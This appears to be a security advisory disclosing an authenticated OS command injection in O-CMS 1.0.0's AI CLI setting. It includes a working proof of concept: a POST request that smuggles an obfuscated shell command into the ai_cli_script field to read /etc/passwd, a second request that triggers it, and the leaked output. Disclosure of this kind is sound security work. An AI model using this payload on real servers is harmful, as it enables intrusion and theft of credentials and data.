O-CMS 1.0.0 Command Injection

Description
    
    O-CMS version 1.0.0 contains an authenticated OS command injection
    vulnerability in the AI CLI configuration functionality. An authenticated
    attacker with sufficient privileges can supply shell metacharacters and
    additional commands through the ai_cli_script parameter of
    /admin/settings/save.
    
    When the configured AI provider is subsequently tested through
    /admin/settings/test-ai, the attacker-controlled CLI value is executed in a
    shell-capable context. This allows injected operating-system commands to
    execute with the privileges of the O-CMS application process.
    
    The vulnerability was demonstrated by injecting a command that reads
    /etc/passwd. Triggering the AI test functionality caused O-CMS to execute
    the injected command and return contents of /etc/passwd in the HTTP
    response.
    Impact
    
     An authenticated attacker can execute arbitrary operating-system commands
    with the privileges of the O-CMS application process. This may result in
    unauthorized access to local files, disclosure of application secrets and
    credentials, modification or deletion of application data, execution of
    attacker-controlled code, and potential compromise of the underlying server.
    Proof of Concept
    
    The following authenticated request stores an ai_cli_script value
    containing shell command injection syntax:
    
    POST /admin/settings/save HTTP/1.1
    Host: 127.0.0.1:8080
    Cookie: ocms_session=<REDACTED>
    Content-Type: application/x-www-form-urlencoded
    
    _csrf_token=<REDACTED>&ai_provider=cli&ai_cli_script=%2Ftmp%2Focms-cli%3Bcat%24%7BIFS%7D%24%28echo%24%7BIFS%7DL2V0Yy9wYXNzd2Q%3D%3D%7Cbase64%24%7BIFS%7D-d%29%3B%23
    
    The application accepts the configuration:
    
    HTTP/1.1 200 OK
    Content-Type: text/html; charset=UTF-8
    
    The stored CLI configuration is then executed through the AI testing
    functionality:
    
    POST /admin/settings/test-ai HTTP/1.1
    Host: 127.0.0.1:8080
    Cookie: ocms_session=<REDACTED>
    Content-Type: application/json
    
    {"_csrf_token":"<REDACTED>"}
    
    O-CMS executes the injected command and returns data originating from
    /etc/passwd:
    
    HTTP/1.1 200 OK
    Content-Type: application/json
    
    {"success":true,"message":"Claude CLI funziona. Risposta:
    root:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin\/..."}
    
    The presence of entries such as:
    
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    
    confirms successful execution of an attacker-controlled operating-system
    command.
    
    Ron Edgerson
    Vulnerability Researcher & Exploit Developer
    
    CVE Research | Binary Exploitation | Application & Systems Security
    Responsible Disclosure • Proof-of-Concept Development
    
    🌐 https://github.com/ob1sec
    🔗 https://www.linkedin.com/in/ronedgerson1
    <https://linkedin.com/in/yourhandle>